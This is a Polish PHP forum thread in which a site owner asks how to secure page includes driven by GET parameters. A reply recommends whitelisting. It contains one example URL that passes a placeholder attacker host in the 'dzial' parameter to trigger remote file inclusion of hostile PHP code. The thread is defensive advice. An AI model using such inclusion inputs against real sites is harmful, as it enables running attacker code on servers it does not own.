![]() |
![]() |
![]()
Post
#1
|
|
Grupa: Zarejestrowani Postów: 10 Pomógł: 0 Dołączył: 25.02.2015 Ostrzeżenie: (0%) ![]() ![]() |
Witam. Od pewnego czasu nurtuje mnie pewna kwestia. Jak mogę zabezpieczyć swoją stronę? Szukałem wszędzie informacji na ten temat, niestety wszędzie gdzie napisane jest coś o bezpieczeństwie, przykłady dotyczą strony z panelami administracyjnymi, formularzami kontaktowymi itd. Otóż moja strona jest dosyć specyficzna - to zwykła strona informacyjna, która nie zawiera żadnych formularzy itp. Użytkownik praktycznie nigdzie nie podaje wartości żadnej zmiennej. Czytałem sporo poradników na temat bezpieczeństwa i wydaje mi się, że wszystko jest dobrze, jednak bardzo przyda mi się także opinia ekspertów w tej sprawie, gdyż zawsze mogło mi coś umknąć. Byłbym wdzięczny za sprawdzenie czy wszystko jest w porządku w tych linijkach kodu:
Pliki includuję w ten sposób:
W ten sposób wczytuję treść do "głównego" diva (na początku kiedy nie ma żadnych zmiennych w pasku adresu, wczytują się newsy):
W pliku naglowki.php są zmienne, które wyglądają w ten sposób:
Nagłówek jest wyświetlany w PLIKU HTML (czy to jest błąd, że plik jest w html i posiada kod php? I tak jest includowany do index.php, więc ma to jakieś znaczenie?) na samym początku w ten sposób: Tak wygląda odnośnik w menu*: Tak wygląda moje zapytanie do bazy MySQL wyciągające newsy:
Zapytanie wyciągające z bazy np. linki do najnowszych filmów z kanału YT:
Tak wygląda zawartość kolumny 'zawartosc' w tabeli z newsami w bazie MySQL (czy kod HTML nie jest zagrożeniem kiedy jest pobierany z bazy?):
To jest na końcu pliku index.php
* - odnośnik w menu - zastanawia mnie właśnie czy bezpiecznie jest kiedy w zmiennej znajdują się ukośniki: / (zmienna dział przyjmuje wartość z ukośnikiem: dzial=gry/gra1). Czy zauważyliście w tym kodzie jakieś luki, które mogłyby umożliwić komuś atak? Będę wdzięczny za przeanalizowanie tych fragmentów kodu. Mam obsesję na tym punkcie, tj. chcę mieć pewność, że strona jest bezpieczna. Pozdrawiam! |
|
|
![]() |
![]()
Post
#2
|
|
Grupa: Zarejestrowani Postów: 1 495 Pomógł: 245 Dołączył: 1.07.2009 Skąd: Bydgoszcz Ostrzeżenie: (0%) ![]() ![]() |
A dałoby się to jakoś krócej rozwiązać? Bo sprawa wygląda tak, że podstron mam dziesiątki. Można np. automatycznie zassać do tablicy wszystkie obecne pliki w tym katalogu ale wtedy i tak nie zabezpieczasz się przed tym co opisałeś niżej: Raz na FTP znalazły się jakieś dziwne pliki - ktoś najwidoczniej je w jakiś sposób wrzucił na serwer. Alternatyną, ktrótszą w sensie ilości znaków opcją byłoby zamiast SWITCH() wrzucić wszystkie możliwości do tablicy i potem sprawdzać czy wartość wywoływana w $_GET jest w tablicy. Ale efekt będzie ten sam co przy użyciu SWITCH() a i dochodzi Ci wtedy co najmniej jedna pętla. Jeśli chcesz to pokażę Ci jak to zrobić ale dużo pracy tym nie zaoszczędzisz.Możesz po prostu sprawdzać za pomocą preg_match, czy w stringu są tylko litery. To i tak nie zabezpieczy. Wystarczy, że ktoś wrzuci mu do katalogu plik bez rozszerzenia (bo kropkę preg_match wyrzuci) a jego skrypt mu doda do pliku .php. Tak więc nie, nie wystarczy.EDIT: no właśnie do zmiennej 'dzial' przypisuję wartość z ukośnikiem. W niektórych przypadkach do zmiennej 'strona' także. To poważny błąd? Nie, to nie bląd ale może powodować komplikacje. Np. nie bardzo rozumiem po co to robisz. I tak nazwa pliku/katalogu nie może zawierać ani slash'a ani backslash'a. Więc po ch...?Ogólnie to polecam metodę ze SWTICH() opisaną przeze mnie wcześniej. Bo wystarczy, że ktoś wpisze taki adres: Kod http://twoja-strona.pl/index.php?dzial=www.stronaHakeraZeSzkodliwymKodemPHP.pl/plik I już twój skrypt po wcześniejszym INCLUDE wykonuje kod bandziora. Ten post edytował sadistic_son 25.02.2015, 14:57:46 |
|
|
![]() ![]() |
![]() |
Aktualny czas: 18.10.2025 - 01:24 |